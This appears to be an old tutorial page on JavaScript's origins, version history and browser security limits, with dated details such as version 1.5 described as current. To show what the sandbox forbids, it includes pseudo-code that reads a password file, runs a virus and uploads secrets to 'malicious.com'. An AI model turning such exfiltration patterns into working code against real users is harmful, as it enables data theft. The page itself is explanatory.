The list of different Javascript Versions

JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.

JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).

Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.

Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.

Javascript Versions

There have been several formal versions of JavaScript.

• 1.0: Netscape 2
• 1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its version)
• 1.2: Early Version 4 browsers
• 1.3: Later Version 4 browsers and Version 5 browsers
• 1.4: Not used in browsers, only on Netscape servers
• 1.5: Current version.
• 2.0: Currently under development by Brendan Eich and others.

Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support.

Get more information

Tags: javascript, javascript versions, livescript, netscape, browser, html pages, sun, brendan eich, server side

The Security provided by Javascript Language

JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
   You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type="file">).

   document.forms[0].upload_field.value = '/my/password/file';
   document.forms[0].submit();
   

   
   
4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
   However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
   
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
   
6. You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
   Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Get more information

Tags: javascript, javascript security, html page, web page, password file, malicious site, frame busting, script, frameset, submit form

The following Javascript cannot do...

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

   filesystem.read('/my/password/file');
   filesystem.write('horridvirus.exe');

   
   
2. 
   
   JavaScript cannot execute any other programs. This would also be unacceptable
   
   

   execute('horridvirus.exe')
   

   
   
3. 
   
   JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:
   
   

   var security_hazard = connection.open('malicious.com');
   security_hazard.upload(filesystem.read('/my/password/file'));
   security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
   

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas.

Get more information

Tags: javascript, programming language, scripting language, browser, browser support